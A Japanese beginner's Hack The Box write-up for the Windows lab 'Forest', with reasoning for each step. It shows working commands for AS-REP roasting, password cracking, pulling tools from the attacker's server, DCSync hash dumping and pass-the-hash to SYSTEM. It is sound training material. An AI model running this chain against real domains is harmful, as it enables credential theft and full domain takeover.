README
- 初学者の、初学者による、初学者のためのWriteupです。
- 「なぜその判断に至ったのか」「なぜそのコマンドを実行しようと考えたのか」など、各アクションに至った思考回路部分についても触れています。
- 尚、一部正確でない表現が含まれている場合があります。
- 得に、用語解説などは「そういうニュアンスのワードね、おkおk」くらいの温度感で読むことを推奨します。
Machine Profile
Machine Name: Forest
Difficulty: Easy
OS: Windows
Setup
対象IPをRHOSTSという環境変数に入れておく。IP手打ちなどによるミスを防止
┌──(root㉿5602a1b7889d)-[~/Forest]
└─# echo 'export RHOSTS="10.129.5.246"' | tee -a .zshrc
export RHOSTS="10.129.5.246"
設定反映
┌──(root㉿5602a1b7889d)-[~/Forest]
└─# source .zshrc
動作確認&疎通確認
┌──(root㉿5602a1b7889d)-[~/Forest]
└─# ping -c 4 10.129.5.246
PING 10.129.5.246 (10.129.5.246) 56(84) bytes of data.
64 bytes from 10.129.5.246: icmp_seq=1 ttl=63 time=298 ms
64 bytes from 10.129.5.246: icmp_seq=2 ttl=63 time=288 ms
64 bytes from 10.129.5.246: icmp_seq=3 ttl=63 time=184 ms
64 bytes from 10.129.5.246: icmp_seq=4 ttl=63 time=376 ms
--- 10.129.5.246 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3012ms
rtt min/avg/max/mdev = 183.636/286.526/375.886/68.402 ms
Enumeration
Nmap
一旦Nmap、兎にも角にもNmap、寝ても起きてもNmap。
ポート指定はせず、とりあえずTop1000ポートに対して実行。
┌──(root㉿5602a1b7889d)-[~/Forest]
└─# nmap -sSV -Pn -n -r -T 4 -oN nmap_top1000.txt ${RHOSTS}
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-29 18:31 +0000
Nmap scan report for 10.129.5.246
Host is up (0.99s latency).
Not shown: 986 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-05-29 18:38:11Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
443/tcp open https?
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.99%I=7%D=5/29%Time=6A19DB77%P=aarch64-unknown-linux-gnu%
SF:r(GetRequest,C2,"HTTP/1\.0\x20403\x20connecting\x20to\x20:80:\x20connec
SF:ting\x20to\x20:80:\x20dial\x20tcp\x20:80:\x20connect:\x20connection\x20
SF:refused\r\nConnection:\x20close\r\n\r\nconnecting\x20to\x20:80:\x20conn
SF:ecting\x20to\x20:80:\x20dial\x20tcp\x20:80:\x20connect:\x20connection\x
SF:20refused")%r(HTTPOptions,C2,"HTTP/1\.0\x20403\x20connecting\x20to\x20:
SF:80:\x20connecting\x20to\x20:80:\x20dial\x20tcp\x20:80:\x20connect:\x20c
SF:onnection\x20refused\r\nConnection:\x20close\r\n\r\nconnecting\x20to\x2
SF:0:80:\x20connecting\x20to\x20:80:\x20dial\x20tcp\x20:80:\x20connect:\x2
SF:0connection\x20refused")%r(RTSPRequest,88,"HTTP/1\.0\x20400\x20reading\
SF:x20request:\x20malformed\x20HTTP\x20version\x20\"RTSP/1\.0\"\r\nConnect
SF:ion:\x20close\r\n\r\nreading\x20request:\x20malformed\x20HTTP\x20versio
SF:n\x20\"RTSP/1\.0\"")%r(FourOhFourRequest,C2,"HTTP/1\.0\x20403\x20connec
SF:ting\x20to\x20:80:\x20connecting\x20to\x20:80:\x20dial\x20tcp\x20:80:\x
SF:20connect:\x20connection\x20refused\r\nConnection:\x20close\r\n\r\nconn
SF:ecting\x20to\x20:80:\x20connecting\x20to\x20:80:\x20dial\x20tcp\x20:80:
SF:\x20connect:\x20connection\x20refused")%r(GenericLines,78,"HTTP/1\.0\x2
SF:0400\x20reading\x20request:\x20malformed\x20HTTP\x20request\x20\"\"\r\n
SF:Connection:\x20close\r\n\r\nreading\x20request:\x20malformed\x20HTTP\x2
SF:0request\x20\"\"")%r(Help,80,"HTTP/1\.0\x20400\x20reading\x20request:\x
SF:20malformed\x20HTTP\x20request\x20\"HELP\"\r\nConnection:\x20close\r\n\
SF:r\nreading\x20request:\x20malformed\x20HTTP\x20request\x20\"HELP\"")%r(
SF:SSLSessionReq,1B0,"HTTP/1\.0\x20400\x20reading\x20request:\x20malformed
SF:\x20HTTP\x20request\x20\"\\x16\\x03\\x00\\x00S\\x01\\x00\\x00O\\x03\\x0
SF:0\?G\\xd7\\xf7\\xba,\\xee\\xea\\xb2`~\\xf3\\x00\\xfd\\x82{\\xb9\xd5\x96
SF:\\xc8w\\x9b\\xe6\\xc4\\xdb<=\\xdbo\\xef\\x10n\\x00\\x00\(\\x00\\x16\\x0
SF:0\\x13\\x00\"\r\nConnection:\x20close\r\n\r\nreading\x20request:\x20mal
SF:formed\x20HTTP\x20request\x20\"\\x16\\x03\\x00\\x00S\\x01\\x00\\x00O\\x
SF:03\\x00\?G\\xd7\\xf7\\xba,\\xee\\xea\\xb2`~\\xf3\\x00\\xfd\\x82{\\xb9\x
SF:d5\x96\\xc8w\\x9b\\xe6\\xc4\\xdb<=\\xdbo\\xef\\x10n\\x00\\x00\(\\x00\\x
SF:16\\x00\\x13\\x00\"");
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 97.74 seconds
-sSV: SYNスキャン+Versionスキャン
-Pn: Pingチェック無効化
デフォルトだとPingが通らないとスキャンが始まらないが、このチェックを省略し若干の時短を図る
-n: 名前解決無効化。同じく時短目的
-r: ポートスキャンを昇順に行う。特に意味はない、好み
フルポートスキャン中にWiresharkなどで覗き見した際に、いまどこまで回っているかを確認するために使用することが多い
-T 4: 並列スキャン数増加。未指定時はデフォルトの3が選択される、時短
-oN: 結果を保存するファイル名を指定
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
htb.localというドメインを持っているそうなのでhostsに追加
┌──(root㉿5602a1b7889d)-[~/Forest]
└─# echo "${RHOSTS} htb.local" | tee -a /etc/hosts
10.129.5.246 htb.local
LDAP
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
389/tcpでLDAPサービスが稼働しているため、LDAPへの深掘りを実施する。
LDAPとは?
読み方: エルダップ
正式名称: Lightweight Directory Access Protocol
意味: ディレクトリサービスに対し検索・参照などの諸々のやり取りをする際に使用するプロトコル/サービス。
Windows環境ならActive Directory(AD)、Linux環境ならOpenLDAPが主流。
ディレクトリサービスとは?
ネットワーク上のユーザやコンピュータ、権限などの情報を一元管理する仕組みのこと
⬇️ こんな感じの階層構造になっている
example.com
├─ ou=Users // OU: グループみたいな概念
│ ├─ cn=Alice // CN: ユーザみたいな概念
│ ├─ cn=Bob
│ └─ cn=Admin
└─ ou=Groups
├─ cn=Domain Admins
└─ cn=IT Support
そもそもなぜLDAPサービスに目をつけたのか
Windowsマシンへのハッキングにおいて、LDAPを悪用する手法は定石のため。 攻撃対象のドメイン内に存在するユーザ名などを取得し、そこから初期侵入 ➡️ 権限昇格の流れが定番、且つこの流れを狙いたいと考えた。windapsearch で匿名バインドを活用した情報列挙を実施する。
windapsearchとは?
読み方: ウィンダップサーチ
意味: ADの諸々の情報をいい感じに取って来てくれるツール。
匿名バインドとは?
別名: Anonymous Bind
ユーザ名・PW無しでLDAPサーバに接続し、中の情報を取得出来る機能。
本来はデフォルトで無効になっている。
windapsearchを実行
┌──(myenv)─(root㉿5602a1b7889d)-[~/git/windapsearch]
└─# ./windapsearch.py --dc-ip ${RHOSTS} --custom "objectclass=*" -C
[+] No username provided. Will try anonymous bind.
[+] Using Domain Controller at: 10.129.5.246
[+] Getting defaultNamingContext from Root DSE
[+] Found: DC=htb,DC=local
[+] Attempting bind
[+] ...success! Binded as:
[+] None
[+] Enumerating all AD computers
[+] Found 2 computers:
cn: FOREST
operatingSystem: Windows Server 2016 Standard
operatingSystemVersion: 10.0 (14393)
dNSHostName: FOREST.htb.local
cn: EXCH01
operatingSystem: Windows Server 2016 Standard
operatingSystemVersion: 10.0 (14393)
dNSHostName: EXCH01.htb.local
[+] Performing custom lookup with filter: "objectclass=*"
[+] Found 312 results:
DC=htb,DC=local
CN=Users,DC=htb,DC=local
CN=Program Data,DC=htb,DC=local
CN=Microsoft,CN=Program Data,DC=htb,DC=local
CN=NTDS Quotas,DC=htb,DC=local
CN=Managed Service Accounts,DC=htb,DC=local
CN=Keys,DC=htb,DC=local
OU=Service Accounts,DC=htb,DC=local
CN=svc-alfresco,OU=Service Accounts,DC=htb,DC=local
OU=Security Groups,DC=htb,DC=local
CN=Service Accounts,OU=Security Groups,DC=htb,DC=local
CN=Privileged IT Accounts,OU=Security Groups,DC=htb,DC=local
CN=test,OU=Security Groups,DC=htb,DC=local
...
CN=Compliance Management,OU=Microsoft Exchange Security Groups,DC=htb,DC=local
CN=Security Reader,OU=Microsoft Exchange Security Groups,DC=htb,DC=local
CN=Security Administrator,OU=Microsoft Exchange Security Groups,DC=htb,DC=local
CN=Exchange Servers,OU=Microsoft Exchange Security Groups,DC=htb,DC=local
CN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=htb,DC=local
CN=Managed Availability Servers,OU=Microsoft Exchange Security Groups,DC=htb,DC=local
CN=Exchange Windows Permissions,OU=Microsoft Exchange Security Groups,DC=htb,DC=local
CN=ExchangeLegacyInterop,OU=Microsoft Exchange Security Groups,DC=htb,DC=local
[*] Bye!
--custom "objectclass=*": OU、ユーザなど全てのオブジェクトを指定
-C: ドメイン内のコンピュータ情報を指定
CN=svc-alfresco,OU=Service Accounts,DC=htb,DC=local、
CN=Service Accounts,OU=Security Groups,DC=htb,DC=local、CN=test,OU=Security Groups,DC=htb,DC=localあたりのCN(ユーザ名)が気になるのでusernames.txtとしてメモしておく ⬇️
svc-alfresco
Service Accounts
test
なぜこれらのユーザが気になったのか
勘。
と、ペンテストにおいて「Service」というワードは注目されがち。
サービスそのものを制御するためのアカウントのケースが多く、そこそこ強い権限があるのでは?という考え方が出来るため。
よって、svc-alfresco(svcはServiceの略称である場合が多い)、Service Accountsを見た時に「おっ」と感じた。
testは純粋に甘い設定のまま残ってそう、という勘。
本来当該機能は無効化されているが、設定不備などにより有効化されており、匿名での情報収集が可能な状態となっていた。
よって、設定不備の脆弱性を突いて内部のユーザ情報(svc-alfresco、Service Accounts、test)などを列挙出来た状況。
Foothold
使えそうなユーザ名が取れたので、impacket-GetNPUsersを使用しAS-REP攻撃を実施する。
impacket-GetNPUsersとは
読み方: インパケット・ゲットエヌピーユーザーズ
意味: AS-REP攻撃用ツール。
Impacket という攻撃ツール群のようなものがあり、このうちの一つ。
AS-REP攻撃とは?
読み方: エーエスレップ攻撃
別名: AS-REP Roasting(エーエスレップロースティング)
意味: 事前認証機能が無効に設定されているユーザ名をサーバに投げると、サーバが当該ユーザのデータ(PWハッシュなど)を返しちゃう仕組みを悪用した攻撃手法。
古いハッシュ化方式の場合は解読することが可能なため、これを狙っている。
事前認証機能とは?
任意のユーザのPWハッシュなどをサーバに聞く際に、認証を不要とする機能。
本来はデフォルトで無効になっている。
なぜAS-REP攻撃を試行したのか
これも定石なため。
windapsearchでユーザ名などの情報を収集 ➡️ AS-REP攻撃 ➡️ DCSync攻撃(後述)は定番の流れ。
impacket-GetNPUsersを実行
┌──(root㉿5602a1b7889d)-[~/Forest]
└─# impacket-GetNPUsers -dc-ip ${RHOSTS} -no-pass -usersfile usernames.txt htb.local/ -o hash.txt -format john
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
$krb5asrep$svc-alfresco@HTB.LOCAL:4b6468f660c4913194dd8a29cb72756a$bfb81ffab95d5534d914e209a541d3a571a0c4348e3732e918b030cf7a84b95ee93a85301efe826e9af309e0ec0391308688f32c3cc86993d44578b2e4162da5b75245645d47cb66667c39aab6902c0b1176cfea3b80302f2668c522696d9a368eb044781803ff7fdb80048d8f87fc031e351dc86bf9f3b341ea1dcdd36b46ce4919bb7b410a4b0b20277803aec3cee0aa1639c634ec304dd165d29f265a5338282536abf185918294864fa2af313c25938db31d9eafbc8f09bcd1757b9633ecc1f32d89b71b7114309cbced8eacfdc9f130a4232734246d9bb956b97a5d5b1b744c532bf32f
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
-no-pass: PW入力をせずに接続をする
-usersfile: AS-REP攻撃対象となるユーザ名が記載されたファイルを指定
-o: 結果を保存するファイル名を指定
-format: 後ほどjohn(後述)にかけるので結果出力フォーマットを指定
$krb5asrep$svc-alfresco@HTB.LOCAL:4b6468f660c4913194dd8a2
「usernames.txtに記載されているユーザの情報ある?」とリクエストを送ったら、↑のようなPWハッシュが返された流れ。
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN
逆に、Service Accounts、testは事前認証が必要だったorユーザが存在しないなどの理由によりPWハッシュなどは返されず、エラーとなっている。
上記の結果通り、svc-alfrescoユーザのハッシュがhash.txtとして取得出来た。
$krb5asrep$svc-alfresco@HTB.LOCAL:4b6468f660c4913194dd8a29cb72756a$bfb81ffab95d5534d914e209a541d3a571a0c4348e3732e918b030cf7a84b95ee93a85301efe826e9af309e0ec0391308688f32c3cc86993d44578b2e4162da5b75245645d47cb66667c39aab6902c0b1176cfea3b80302f2668c522696d9a368eb044781803ff7fdb80048d8f87fc031e351dc86bf9f3b341ea1dcdd36b46ce4919bb7b410a4b0b20277803aec3cee0aa1639c634ec304dd165d29f265a5338282536abf185918294864fa2af313c25938db31d9eafbc8f09bcd1757b9633ecc1f32d89b71b7114309cbced8eacfdc9f130a4232734246d9bb956b97a5d5b1b744c532bf32f
svc-alfrescoは事前認証機能が無効になっていたため、当該ユーザのPWハッシュは認証せずとも誰でも取得できる状態となっている。
こちらも設定不備の脆弱性を突いて情報窃取が出来た状況。
PWハッシュを取得出来たので、john を使用して解析する。
johnとは?
読み方: ジョン
正式名称: John the Ripper(ジョンザリッパー)
意味: PW解析ツール
johnを実行
┌──(root㉿5602a1b7889d)-[~/Forest]
└─# john hash.txt -w=/usr/share/wordlists/rockyou.txt > pw.txt
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:02 DONE (2026-05-29 19:24) 0.4807g/s 1969Kp/s 1969Kc/s 1969KC/s sadeceben19881905..s/b5fd89
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
解析の結果、元の文字列(PW)がs3rviceであることが判明
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 ASIMD 4x])
s3rvice ($krb5asrep$svc-alfresco@HTB.LOCAL)
よって、対象ドメインにsvc-alfresco:s3rviceという組み合わせのID/PWを持ったユーザいることが確認できた。
取得したID/PWを使用し、evil-winrm でログインする。
evil-winrmとは?
読み方: エヴィル・ウィンアールエム
意味: WindowsのWinRMサービスに接続するためのツール。
WinRMとは?
読み方: ウィンアールエム
正式名称: Windows Remote Management
意味: 遠隔からコマンドなどを実施出来る仕組み/プロトコル。
これを使用して攻撃対象にログイン(侵入)し、端末を掌握したいという考え。
攻撃対象のWindowsマシンにはWinRMサービスを利用して接続するケースが多く、今回も当該サービスを使用して接続したいと考えた。
基本的にWinRMは5985/tcpで稼働しており、Nmapの結果を確認すると当該ポートがOpenだったため、WinRM接続ツール(evil-winrm)が今回も使用出来るな、という判断。
evil-winrmを実行
┌──(root㉿5602a1b7889d)-[~/Forest]
└─# evil-winrm -i ${RHOSTS} -u svc-alfresco -p s3rvice
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
svc-alfrescoとしてのログインが成功
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> whoami
htb\svc-alfresco
user.txt を取得
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> type c:\users\svc-alfresco\desktop\user.txt
なぜユーザフラグの場所がすぐにわかったのか
ユーザフラグは大体ユーザのDesktop\に格納されているケースが多いため。
LDAPの匿名バインド機能の無効化と、事前認証機能の無効化という2つの脆弱性を掛け合わせることで対象サーバへの侵入が成功する結果となった。
Privilege Escalation
SharpHound を攻撃端末(Kali)から被害端末(svc-alfresco)へ移動させる。
evil-winrm経由でも良いが、DLに時間かかりそうな気がするので攻撃端末側でWebサーバをホスティングし、被害端末からSharpHoundをDLしにいく手法とする
SharpHoundとは
読み方: シャープハウンド
意味: Active Directory の権限関係・セッション情報・グループ構造などを収集するためのツール。BloodHound(後述)とセットで使われるケースが多い。
攻撃端末でWebサーバをホスティング
(myenv)┌──(root㉿5602a1b7889d)-[~/Forest]
└─# ifconfig
...
utun9: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> mtu 1500
inet 10.10.16.96 --> 10.10.16.96 netmask 0xfffffe00
inet6 fe80::ac92:e761:3044:a456%utun9 prefixlen 64 scopeid 0x1e
inet6 dead:beef:4::105e prefixlen 64
nd6 options=201<PERFORMNUD,DAD>
(myenv)┌──(root㉿5602a1b7889d)-[~/Forest]
└─# ll
total 16
-rw-r--r-- 1 root root 528 May 29 19:23 hash.txt
-rw-r--r-- 1 root root 0 May 29 18:18 nmap_top1000.txt
drwxr-xr-x 2 root root 4096 May 29 18:18 old
-rw-r--r-- 1 root root 171 May 29 19:25 pw.txt
-rw-r--r-- 1 root root 37 May 29 18:58 usernames.txt
-rw-r--r-- 1 root root 1046528 May 29 18:58 SharpHound_old.exe
(myenv)┌──(root㉿5602a1b7889d)-[~/Forest]
└─# python3 -m http.server 4444
Serving HTTP on :: port 4444 (http://[::]:4444/) ...
被害端末からSharpHoundを取りに行く
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> iwr http://10.10.16.96:4444/SharpHound_old.exe -outfile SharpHound_old.exe
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> dir
Directory: C:\Users\svc-alfresco\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/29/2026 12:42 PM 1046528 SharpHound_old.exe
SharpHoundを実行
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> .\SharpHound_old.exe
2026-05-29T12:49:57.7949176-07:00|INFORMATION|This version of SharpHound is compatible with the 4.3.1 Release of BloodHound
2026-05-29T12:49:58.1386034-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2026-05-29T12:49:58.1543096-07:00|INFORMATION|Initializing SharpHound at 12:49 PM on 5/29/2026
2026-05-29T12:49:58.6073543-07:00|INFORMATION|[CommonLib LDAPUtils]Found usable Domain Controller for htb.local : FOREST.htb.local
2026-05-29T12:49:58.6229852-07:00|INFORMATION|Flags: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2026-05-29T12:49:59.4823595-07:00|INFORMATION|Beginning LDAP search for htb.local
2026-05-29T12:49:59.5917331-07:00|INFORMATION|Producer has finished, closing LDAP channel
2026-05-29T12:49:59.5917331-07:00|INFORMATION|LDAP channel closed, waiting for consumers
2026-05-29T12:50:30.3418025-07:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 40 MB RAM
2026-05-29T12:50:43.4512066-07:00|INFORMATION|Consumers finished, closing output channel
2026-05-29T12:50:43.5137055-07:00|INFORMATION|Output channel closed, waiting for output task to complete
Closing writers
2026-05-29T12:50:43.6855859-07:00|INFORMATION|Status: 161 objects finished (+161 3.659091)/s -- Using 48 MB RAM
2026-05-29T12:50:43.6855859-07:00|INFORMATION|Enumeration finished in 00:00:44.2005409
2026-05-29T12:50:43.7793306-07:00|INFORMATION|Saving cache with stats: 118 ID to type mappings.
117 name to SID mappings.
0 machine sid mappings.
2 sid to domain mappings.
0 global catalog mappings.
2026-05-29T12:50:43.7949825-07:00|INFORMATION|SharpHound Enumeration Completed at 12:50 PM on 5/29/2026! Happy Graphing!
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> dir
Directory: C:\Users\svc-alfresco\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/29/2026 12:50 PM 18751 20260529125042_BloodHound.zip
-a---- 5/29/2026 12:50 PM 19538 MzZhZTZmYjktOTM4NS00NDQ3LTk3OGItMmEyYTVjZjNiYTYw.bin
-a---- 5/29/2026 12:42 PM 1046528 SharpHound_old.exe
結果のZip(20260529125042_BloodHound.zip)を攻撃端末側へ移動
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> download 20260529125042_BloodHound.zip
Warning: Remember that in docker environment all local paths should be at /data and it must be mapped correctly as a volume on docker run command
Info: Downloading C:\Users\svc-alfresco\Documents\20260529125042_BloodHound.zip to 20260529125042_BloodHound.zip
Info: Download successful!
20260529125042_BloodHound.zipが攻撃端末側に来ていることを確認
┌──(root㉿5602a1b7889d)-[~/Forest]
└─# ll
total 36
-rw-r--r-- 1 root root 18751 May 29 19:45 20260529125042_BloodHound.zip
-rw-r--r-- 1 root root 528 May 29 19:23 hash.txt
-rw-r--r-- 1 root root 0 May 29 18:18 nmap_top1000.txt
drwxr-xr-x 2 root root 4096 May 29 18:18 old
-rw-r--r-- 1 root root 171 May 29 19:25 pw.txt
-rw-r--r-- 1 root root 37 May 29 18:58 usernames.txt
BloodHound へZipをアップロード
BloodHoundとは?
読み方: ブラッドハウンド
意味: AD内の “権限関係・依存関係・攻撃経路” を可視化するツール。
先述のSharpHoundの実行結果をインポートする使用方法が一般的。
検索欄でsvc-alfrescoを検索し、出て来たアイコンを右クリック>Add to Ownedでマークしておく(画像はマーク後)

Add to Ownedをするとアイコン右下にドクロマークが付与される
なぜAdd to Ownedをするのか
BloodHound(BH)には「侵入済み端末からより権限の高い端末への攻撃経路を表示する機能があり、この起点となる端末がどれかをBHへ教えるため。
右ペインからMember Ofを押下し、svc-alfrescoがどのグループに所属しているかを確認
ネスト状になっているが、最終的にAccount Operatorsグループに属していることが分かる
Account Operatorsグループとは?
ユーザーやグループの管理ができるグループ。
当該グループの権限を悪用することにより自由にユーザなどを作成出来るため、狙うべきグループの一つ。
svc-alfrescoからDomain AdminsまでのアタックパスをPATHFINDINGタブから検索
アタックパスとは?
現在持っている権限から最終的に到達したい高権限(例: Domain Admin)までの 権限の連鎖ルート。これを確認し、次に狙うべき端末・ユーザなどを判断する。
結果を整理すると、以下のことが読み取れる。
-
svc-alfrescoはAccount Operatorsグループに属している-
Account Operatorsの中のPrivileged IT Accountグループの中の・・といった具合に見ていくと、最終的にはAccount Operatorsグループに属していると同義であると判断出来る - つまり、
svc-alfrescoはAccount Operatorsグループの権限を利用することが出来る
-
-
Account OperatorsはExchange Windows Permissionグループに対しGeneric All権限を有している -
Exchange Windows Permissionグループは、htb.localドメイン全体に対しWrite Dacl権限を有している
Generic Allとは?
対象に対する完全な書き込み権限のこと。
要するに、Account OperatorsはExchange Windows Permissionグループに対しなんでも指示出来る状態となっている。
やりたい放題の権限であるため、ペンテストにおいてご褒美の一つ。
Write Daclとは?
対象のACLを書き換える権限のこと。
要するに、Exchange Windows Permissionグループはhtb.localドメインに対し、自由にACLを編集することが出来る状態となっている。
ACLとは?
読み方: エーシーエル
正式名称: Access Control List
意味: 誰が何を出来るか、を制御するルール。要するに、FWのポリシーとかそんなイメージ。
よって、下記のシナリオを経ることで、Domain Admins権限へ昇格出来る可能性があることが分かる。
-
Account Operatorsグループの権限を利用し、Exchange Windows Permissionグループに攻撃者用のアカウントを新規作成 -
Exchange Windows Permissionグループにいるユーザがhtb.localに対しWrite Dacl権限を持っていることを利用し、作成したアカウント自身にhtb.localドメイン上でDCSync攻撃を行える権限を付与 - DCSync攻撃を悪用し、ドメイン管理者のハッシュを取得
- ハッシュ解析、PWの取得
- ドメイン管理者端末へ侵入し、ドメイン全体の掌握
DCSync攻撃とは
ドメインコントローラーになりすまし、PWハッシュを要求する攻撃。
実際にシナリオに沿って攻撃を実施する。
ユーザを作成
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net user hkawase password /add /domain
The command completed successfully.
作成したユーザをExchange Windows Permissionsグループに追加
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group 'Exchange Windows Permissions' hkawase /add
The command completed successfully.
ACLをいじるコマンドを有効化するためにPowerviewを持ってくる。
Powerviewとは?
AD環境調査・操作ツール。これを入れると使えるコマンドの幅が広がるイメージ。
やり方はSharpHoundを持ってきた時と同じ
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> iwr http://10.10.16.96:4444/PowerView.ps1 -outfile PowerView.ps1
powerviewをインポートし、追加のコマンドを使えるように
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> import-module .\PowerView.ps1
ACLを編集し、作成した攻撃者用のアカウントに権限を付与
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> $SecPassword = ConvertTo-SecureString 's3rvice' -AsPlainText -Force
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> $Cred = New-Object System.Management.Automation.PSCredential('HTB.LOCAL\svc-alfresco', $SecPassword)
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> $SecPassword = ConvertTo-SecureString 'password' -AsPlainText -Force
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> $Cred = New-Object System.Management.Automation.PSCredential('htb.local\hkawase', $SecPassword)
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Add-ObjectACL -PrincipalIdentity hkawase -Credential $Cred -Rights DCSync
DCSync攻撃実行
┌──(root㉿5602a1b7889d)-[~/Forest]
└─# impacket-secretsdump -dc-ip ${RHOSTS} htb.local/hkawase:password@${RHOSTS}
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
...
[*] Cleaning up...
htb.local\Administrator:500:aad3b435b51404eeaa...
ドメイン管理者ユーザのハッシュが取得出来た
取得したハッシュで接続
┌──(root㉿5602a1b7889d)-[~/Forest]
└─# impacket-psexec -dc-ip ${RHOSTS} htb.local/administrator@${RHOSTS} -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on 10.129.5.246.....
[*] Found writable share ADMIN$
[*] Uploading file jCqixkir.exe
[*] Opening SVCManager on 10.129.5.246.....
[*] Creating service IPXA on 10.129.5.246.....
[*] Starting service IPXA.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
ログイン後、現在のユーザを確認
C:\Windows\system32> whoami
nt authority\system
SYSTEMユーザであることがわかる
SYSTEMユーザとは?
端末内で一番強い権限を持ったユーザのこと。
Copilot君は「ローカルマシンにおける絶対的な神権限です。」と言ってます。
root.txtを取得
C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt


